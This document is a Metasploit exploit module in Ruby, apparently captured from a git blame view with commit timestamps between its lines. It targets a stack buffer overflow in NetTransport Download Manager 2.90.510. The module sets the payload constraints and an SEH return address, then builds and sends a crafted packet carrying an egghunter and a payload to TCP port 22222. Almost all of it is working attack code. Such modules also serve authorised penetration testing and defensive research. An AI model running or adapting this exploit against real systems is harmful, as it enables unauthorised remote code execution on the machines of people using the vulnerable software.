2010-01-05 00:35:46 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2010-01-05 00:35:46 +00:00
|
|
|
##
|
|
|
|
|
2010-01-03 16:07:54 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
2016-03-07 19:19:55 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2013-08-30 21:28:54 +00:00
|
|
|
Rank = NormalRanking
|
2010-01-03 16:07:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
include Msf::Exploit::Egghunter
|
|
|
|
include Msf::Exploit::Remote::Seh
|
2010-01-03 16:07:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'NetTransport Download Manager 2.90.510 Buffer Overflow',
|
|
|
|
'Description' => %q{
|
|
|
|
This exploits a stack buffer overflow in NetTransport Download Manager,
|
|
|
|
part of the NetXfer suite. This module was tested
|
|
|
|
successfully against version 2.90.510.
|
|
|
|
},
|
|
|
|
'Author' =>
|
|
|
|
[
|
|
|
|
'Lincoln',
|
|
|
|
'dookie',
|
|
|
|
],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '61435' ],
|
|
|
|
[ 'EDB', '10911'],
|
|
|
|
],
|
|
|
|
'Privileged' => false,
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'seh'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 5000,
|
|
|
|
'BadChars' => "\x00\x20\x0a\x0d",
|
|
|
|
'StackAdjustment' => -3500,
|
|
|
|
'DisableNops' => 'True'
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[ 'Windows Universal', { 'Ret' => 0x10002a57 } ], # p/p/r libssl.dll
|
|
|
|
],
|
|
|
|
'DefaultTarget' => 0,
|
|
|
|
'DisclosureDate' => 'Jan 02 2010'))
|
2010-01-05 00:35:46 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(22222)
|
|
|
|
], self.class)
|
|
|
|
end
|
2010-01-03 16:07:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def exploit
|
|
|
|
connect
|
2010-01-05 00:35:46 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
magic_packet = "\xe3\x3d\x00\x00\x00\x01\xee\x4f\x08\xe3\x00\x0e\xae\x41\xb0\x24"
|
|
|
|
magic_packet << "\x89\x38\x1c\xc7\x6f\x6e\x00\x00\x00\x00\xaf\x8d\x04\x00\x00\x00"
|
|
|
|
magic_packet << "\x02\x01\x00\x01\x04\x00\x74\x65\x73\x74\x03\x01\x00\x11\x3c\x00"
|
2010-01-03 16:07:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# Unleash the Egghunter!
|
|
|
|
eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars, { :checksum => true })
|
2010-01-03 16:07:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sploit = magic_packet
|
|
|
|
sploit << rand_text_alpha_upper(119)
|
|
|
|
sploit << generate_seh_record(target.ret)
|
|
|
|
sploit << make_nops(10)
|
|
|
|
sploit << eh_stub
|
|
|
|
sploit << make_nops(50)
|
|
|
|
sploit << eh_egg
|
2010-01-03 16:07:54 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Trying target #{target.name}...")
|
|
|
|
sock.put(sploit)
|
2010-01-05 00:35:46 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
2010-01-05 00:35:46 +00:00
|
|
|
|
2010-01-03 16:07:54 +00:00
|
|
|
end
|